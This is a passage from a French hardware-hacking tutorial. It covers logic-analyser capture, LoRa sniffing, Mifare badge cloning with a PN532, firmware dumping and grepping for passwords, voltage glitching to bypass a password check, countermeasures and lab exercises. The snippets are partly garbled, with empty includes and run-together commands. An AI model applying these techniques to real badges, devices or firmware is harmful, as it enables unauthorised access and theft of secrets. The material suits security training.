cmd = f"sigrok-cli --driver fx2lafw --config samplerate={samplerate} "
cmd += f"--channels {channels} --time {time} --output-file spi_data.sr"
subprocess.run(cmd, shell=True)
# Puis analyser avec PulseView
Contre-mesures : Désactiver les interfaces de debug en production, chiffrer le firmware, utiliser des bootloaders signés.
| Technologie | Fréquences | Usage | Outil de hack |
|---|---|---|---|
| LoRa | 433/868/915 MHz | IoT, capteurs longue portée | LilyGO TTGO + SX1276, rtl_433 |
| Sub-GHz (télécommandes) | 315/433/868 MHz | Portails, voitures (anciennes) | CC1101, HackRF |
| NFC | 13.56 MHz | Badges, paiement | PN532, Proxmark3 |
| RFID 125kHz | 125 kHz | Badges anciens | Lecteur RFID, Arduino + résonateur |
| Bluetooth BLE | 2.4 GHz | Trackers, objets connectés | ESP32, nRF24, Ubertooth |
| WiFi | 2.4/5 GHz | Réseaux locaux | ESP32, Wi-Fi Pineapple |
| GPS | 1.2/1.5 GHz | Localisation | RTL-SDR, GPS spoofing (HackRF) |
Objectif : Capturer des trames LoRa (non chiffrées) de capteurs environnementaux.
#include
#include
void setup() {
Serial.begin(115200);
if (!LoRa.begin(868E6)) { // Fréquence Europe
Serial.println("Erreur LoRa");
while(1);
}
LoRa.setSpreadingFactor(12);
}
void loop() {
int packetSize = LoRa.parsePacket();
if (packetSize) {
while (LoRa.available()) {
Serial.write(LoRa.read());
}
Serial.println();
}
}
SendData().Adafruit_PN532 pour lire un tag Mifare Classic (non crypté) et le copier sur un tag vierge.#include
#include
Adafruit_PN532 nfc(PN532_SCK, PN532_MISO, PN532_MOSI, PN532_SS);
void setup() {
nfc.begin();
nfc.SAMConfig();
}
void loop() {
uint8_t uid[7]; uint8_t len;
if (nfc.readPassiveTargetID(PN532_MIFARE_ISO14443A, uid, &len)) {
// Lire les blocs et écrire sur un autre tag
}
}
| Méthode | Difficulté | Équipement | Remarques |
|---|---|---|---|
| UART dump | Facile | USB-UART, minicom | Nécessite un shell ou un bootloader exposé |
| SPI flash read | Moyen | CH341A, pompe à dessouder | Peut nécessiter dessoudage |
| JTAG/SWD | Moyen | ST-Link, OpenOCD | Si les interfaces sont actives |
| Glitch fault injection | Expert | Pico Glitcher, oscilloscope | Bypasse les protections logicielles |
| Decap + microprobing | Expert | Acide, microscope, micro-sondes | Laboratoire spécialisé |
flash read ou dump pour extraire.flashrom -p ch341a_spi -r firmware.binbinwalk firmware.bin pour identifier les systèmes de fichiers.strings -n 8 firmware.bin | grep -i password pour chercher des secrets.| Attaque | Défense possible |
|---|---|
| UART debug | Désactiver les interfaces en production, couper les pistes, utiliser des bootloaders sans accès. |
| SPI flash dump | Chiffrer le firmware, utiliser des puces avec lecture protégée, masquer les broches sous résine. |
| JTAG/SWD | Désactiver les fusibles de debug, ajouter des mots de passe sur l'interface. |
| Voltage glitch | Détecteurs de glitch (comparateurs rapides), capteurs de lumière, randomisation des horloges. |
| Side-channel (power) | Masquage aléatoire, constant-time, bruit actif. |
| RF replay | Rolling codes, chiffrement des trames, vérification de timestamp. |
| Wire probing | Blindage des couches, pistes enterrées, potting. |
void EXTI0_IRQHandler(void) {
if (__HAL_GPIO_EXTI_GET_IT(GPIO_PIN_0)) {
// Glitch détecté : effacer les secrets, reboot
HAL_GPIO_WritePin(LED_ALERT_GPIO_Port, LED_ALERT_Pin, SET);
NVIC_SystemReset();
}
}
Prenez un vieux routeur, ouvrez-le, identifiez le CPU et la flash. Trouvez les points UART, connectez-vous, tentez d'obtenir un shell. Dump la flash avec CH341A.
Avec deux modules LoRa, faites communiquer un émetteur et un récepteur. Placez un troisième module en mode sniffer (même fréquence, même spreading factor) et capturez les trames.
Avec un PN532, lisez un badge Mifare Classic (si non protégé), puis écrivez les données sur un tag vierge. Testez l'ouverture d'une porte de test.
Programmez un STM32 avec une vérification de mot de passe. Utilisez un Pico Glitcher pour tenter de contourner la vérification (avec un oscilloscope pour régler les paramètres).
Flachez ESP32 Marauder, activez le module AirTag Monitor. Promenez-vous avec un AirTag dans la poche et observez la détection.
L'électronique est le pendant physique du hacking logiciel. Maîtriser les composants, la soudure et la conception de circuits permet de créer des outils d'attaque discrets et efficaces, mais aussi de mieux se défendre. Les projets présentés ici couvrent un large spectre : de l'interception radio à l'injection de commandes USB, en passant par l'ouverture de serrures. La connaissance de ces techniques est essentielle pour les professionnels de la cybersécurité, car elle permet d'anticiper les vecteurs d'attaque réels.
La frontière entre le hardware et le software est la nouvelle ligne de front. La formation continue et la pratique en laboratoire sont les seuls moyens de rester à jour face à des adversaires de plus en plus créatifs.